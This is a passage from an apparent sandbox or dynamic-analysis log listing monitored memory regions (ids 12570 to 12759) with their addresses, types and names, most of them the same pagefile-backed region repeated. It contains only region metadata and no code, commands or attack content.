0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12570 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12571 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12572 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12573 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12574 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12575 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12576 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12577 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12578 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12579 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12580 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12581 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12582 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12583 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12584 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12585 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12586 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12587 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12588 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12589 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12590 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12591 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12592 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12593 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12594 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12595 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12596 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12597 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12598 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12599 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12600 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12601 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12602 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12603 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12604 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12605 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12606 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12607 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12608 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12609 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12610 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12611 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12612 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12613 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12614 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12615 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12616 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12617 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12618 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12619 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12620 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12621 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12622 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12623 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12624 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12625 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12626 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12627 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12628 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12629 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12630 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12631 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12632 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12633 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12634 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12635 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12636 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12637 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12638 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12639 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12640 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12641 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12642 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12643 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12644 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12645 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12646 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12647 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12648 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12649 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12650 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12651 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12652 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12653 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12654 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12655 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12656 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12657 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12658 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12659 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12660 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12661 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12662 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12663 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12664 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12665 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12666 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12667 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12668 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12669 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12670 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12671 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12672 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12673 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12674 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12676 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12677 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12678 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12679 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12680 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12681 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12682 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12683 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12684 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12685 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12686 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12687 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12688 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12689 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12690 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12691 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12692 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12693 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12694 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12695 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12696 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12697 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12698 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12699 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12700 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12701 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12702 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12703 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12704 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12705 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12706 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12707 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12708 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12709 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12710 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12711 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12712 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12713 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12714 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12715 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12717 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12718 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12719 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12721 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12722 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12723 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12724 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12725 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12726 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12727 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12728 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12729 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12730 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12731 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12732 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12733 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12734 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12735 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12736 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12737 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12738 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12739 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12740 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12741 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12742 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12743 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12744 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12745 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12746 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12747 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12748 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12749 start_va = 0x112d0000 end_va = 0x117c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112d0000" filename = "" Region: id = 12750 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12751 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12752 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12753 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12754 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12755 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12756 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12757 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12758 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12759 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 